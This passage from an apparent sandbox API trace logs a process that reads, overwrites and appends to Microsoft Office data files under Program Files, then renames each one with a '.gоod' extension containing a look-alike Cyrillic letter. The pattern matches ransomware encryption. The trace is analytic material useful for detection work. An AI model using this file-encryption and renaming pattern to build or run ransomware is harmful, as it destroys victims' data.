Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0165.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0165.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35875d8 | out: lpFileInformation=0x35875d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0715cb9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12a50)) returned 1 [0165.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0165.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.245] GetFileType (hFile=0x768) returned 0x1 [0165.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.245] GetFileType (hFile=0x768) returned 0x1 [0165.245] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0165.245] ReadFile (in: hFile=0x768, lpBuffer=0x3587a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3587a60*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0165.246] CloseHandle (hObject=0x768) returned 1 [0165.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.247] GetFileType (hFile=0x768) returned 0x1 [0165.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.247] GetFileType (hFile=0x768) returned 0x1 [0165.247] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x12a50 [0165.247] WriteFile (in: hFile=0x768, lpBuffer=0x3588dd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3588dd0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0165.248] CloseHandle (hObject=0x768) returned 1 [0165.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.248] GetFileType (hFile=0x768) returned 0x1 [0165.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.248] GetFileType (hFile=0x768) returned 0x1 [0165.248] ReadFile (in: hFile=0x768, lpBuffer=0x358b200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x358b200*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0165.847] CloseHandle (hObject=0x768) returned 1 [0165.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.848] GetFileType (hFile=0x768) returned 0x1 [0165.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.848] GetFileType (hFile=0x768) returned 0x1 [0165.848] WriteFile (in: hFile=0x768, lpBuffer=0x33b87c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33b87c0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0165.848] CloseHandle (hObject=0x768) returned 1 [0165.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0165.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x51 [0165.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0165.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f104b37, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12a60)) returned 1 [0165.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0165.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0165.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0165.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35633d8 | out: lpFileInformation=0x35633d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ebd5)) returned 1 [0165.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0165.850] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.851] GetFileType (hFile=0x768) returned 0x1 [0165.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.851] GetFileType (hFile=0x768) returned 0x1 [0165.851] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0165.851] ReadFile (in: hFile=0x768, lpBuffer=0x35638c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35638c0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0165.947] CloseHandle (hObject=0x768) returned 1 [0165.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.948] GetFileType (hFile=0x768) returned 0x1 [0165.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.948] GetFileType (hFile=0x768) returned 0x1 [0165.948] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x7ebd5 [0165.948] WriteFile (in: hFile=0x768, lpBuffer=0x33eab40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x33eab40*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0165.950] CloseHandle (hObject=0x768) returned 1 [0165.950] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.950] GetFileType (hFile=0x768) returned 0x1 [0165.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.950] GetFileType (hFile=0x768) returned 0x1 [0165.950] ReadFile (in: hFile=0x768, lpBuffer=0x33ece68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x33ece68*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0165.978] CloseHandle (hObject=0x768) returned 1 [0165.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.979] GetFileType (hFile=0x768) returned 0x1 [0165.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.979] GetFileType (hFile=0x768) returned 0x1 [0165.979] WriteFile (in: hFile=0x768, lpBuffer=0x33ebb58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33ebb58*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0165.979] CloseHandle (hObject=0x768) returned 1 [0165.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0165.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5e [0165.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0165.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f25c031, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7ebe5)) returned 1 [0165.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0165.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0165.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0165.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0165.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3469480 | out: lpFileInformation=0x3469480*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcff7c3ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x81963)) returned 1 [0165.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0165.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0165.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.981] GetFileType (hFile=0x768) returned 0x1 [0165.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.981] GetFileType (hFile=0x768) returned 0x1 [0165.981] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0165.981] ReadFile (in: hFile=0x768, lpBuffer=0x3469948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3469948*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0166.258] CloseHandle (hObject=0x768) returned 1 [0166.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.258] GetFileType (hFile=0x768) returned 0x1 [0166.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.258] GetFileType (hFile=0x768) returned 0x1 [0166.258] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x81963 [0166.258] WriteFile (in: hFile=0x768, lpBuffer=0x34eadd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34eadd8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0166.262] CloseHandle (hObject=0x768) returned 1 [0166.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.262] GetFileType (hFile=0x768) returned 0x1 [0166.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.262] GetFileType (hFile=0x768) returned 0x1 [0166.262] ReadFile (in: hFile=0x768, lpBuffer=0x34f4a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x34f4a50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0166.303] CloseHandle (hObject=0x768) returned 1 [0166.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.303] GetFileType (hFile=0x768) returned 0x1 [0166.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.303] GetFileType (hFile=0x768) returned 0x1 [0166.303] WriteFile (in: hFile=0x768, lpBuffer=0x34f3750*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34f3750*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0166.304] CloseHandle (hObject=0x768) returned 1 [0166.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0166.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0166.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f556f27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x81973)) returned 1 [0166.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0166.304] MoveFileW 